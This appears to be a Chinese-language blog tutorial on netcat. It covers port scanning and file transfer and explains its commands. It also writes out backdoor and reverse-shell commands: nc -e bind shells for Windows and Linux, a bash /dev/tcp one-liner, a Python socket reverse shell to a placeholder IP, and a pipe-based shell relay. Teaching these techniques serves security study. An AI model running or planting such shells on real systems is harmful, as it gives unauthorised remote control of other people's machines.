Netcat

Posted by Tattoo on 2019-10-17
Estimated Reading Time 4 Minutes
Words 1.2k In Total
Viewed Times

About Netcat

netcat 简称 nc,网络工具中的瑞士军刀,能通过TCP和UDP在网络中读写数据。可以用作端口监听、端口扫描、远程文件传输、还可以实现远程反弹shell等功能。

基本使用

返回shell的使用 实现返回shell的通信,并能对及其进行命令执行
创建一个服务器端(监听端)
nc -l -p [localport] -e cmd.exe
-l 设置nc处于监听状态等待连接
-p 指定端口

创建一个客户端(被监听端)
nc [remote_ip] [remote_port]

文件传输

创建一个服务端(接收文件)
nc -l -p [localport] > outfile.txt

执行成功后当前文件夹会多出一个outfile.txt文件,内容与infile.txt文件内容一致

创建一个客户端(传输文件)
nc [remote_ip] [remote_port] < infile.txt

信息探测

Banner信息抓取

echo “ “ | nc -v -n -w1 [target_ip] [start_port-end_port]

端口扫描

nc -v -n -z -w1 [target_ip] [start_port-end_port]

-v 显示错误提示信息
-n 设置nc只识别ip,不对目标机器进行DNS解析
-z zero I/O 模式,专用于端口扫描。表示对目标IP发送的数据表中不包含任何payload,这样做可以加快扫描的速度。
-w1 超时设置为1秒。

扫描Metasploitable主机

建立后门

监听型后门
windows服务端:
nc -l -p localport -e cmd.exe (服务端)
nc [remote_ip] [remote_port] (客户端)

linux服务端:
nc -l -p localport -e /bin/bash (服务端)
nc [remote_ip] [remote_port] (客户端)

连接型后门
windows服务端:
nc -l -p localport (服务端)
nc [remote_ip] [remote_port] -e cmd.exe (客户端)

linux服务端:
nc -l -p localport (服务端)
nc [remote_ip] [remote_port] -e /bin/bash (客户端)

输入shell命令,能成功返回结果

命令参数

-h 帮助,查看用法和所有参数
-d 可关闭命令窗口,在后台运行
-e 执行某个程序
-G gateway 用于设置网关,突破内网限制
-g num 路由跳数
-L 与参数-l有区别,当客户端断开,服务端依旧回到等待状态
-s addr 设置nc源地址,用于隐藏自己
-w sec 设置连接超时秒数

反弹shell

反弹shell有多种方式,netcat反弹,bash反弹,python、php、java、perl脚本反弹等

利用bash反弹

目标服务器没有安装netcat
nc -lvp localport (服务端)
bash -i >& /dev/tcp/ip/port 0>&1 (客户端)

成功返回shell,并能执行命令返回结果

命令解释
在命令中bash -i表示已交互模式运行bash shell。重定向符 >& ,如果在其后加文件描述符,是将bash -i交互模式传递给文件描述符,而如果其后是文件,则将bash -i交互模式传递给文件。/dev/tcp/ip/port表示传递给远程主机的IP地址对应的端口。

文件描述符: 0 标准输入、1 标准输出、2 错误输入输出
命令中的 0>&1 表示将标准输入重定向到标准输出,实现远程的输入可以在远程输出对应内容。

利用python反弹

目标服务器没有安装netcat,但是安装了python环境,本质就是执行一段python脚本
nc -lvp localport (服务端)
python -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘192.168.x.x’,xxxx));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash’,’-i’]);” (客户端)

命令解释
首先使用socket与远程建立起连接,具有了远程的文件描述符3。可以使用s.fileno()来查看具体套接字建立的远程文件描述符。
os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样就可以实现反弹shell。

重定向反弹

由于目标服务器防火墙阻塞或者其他配置原因,不支持nc的-e参数
服务端需开启两个端口
nc -lvnp port1 (服务端)
nc -lvnp port2 (服务端)
nc ip port1 | /bin/bash | nc ip port2 (客户端)

命令解释
在服务端需开启两个nc程序进行监听,其中一个作为输入,一个作为输出。
目标机器上使用管道来重新定向输入和输出。

总结

nc短小精悍,功能多,所以被称为瑞士军刀,但是刀刃不够锋利,没有加密,数据交换内容是明文,容易被监听,里面的功能没有做的非常深入,反弹shell有更厉害的metepreter,信息探测可以用nmap,这些工具的功能更强。


If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !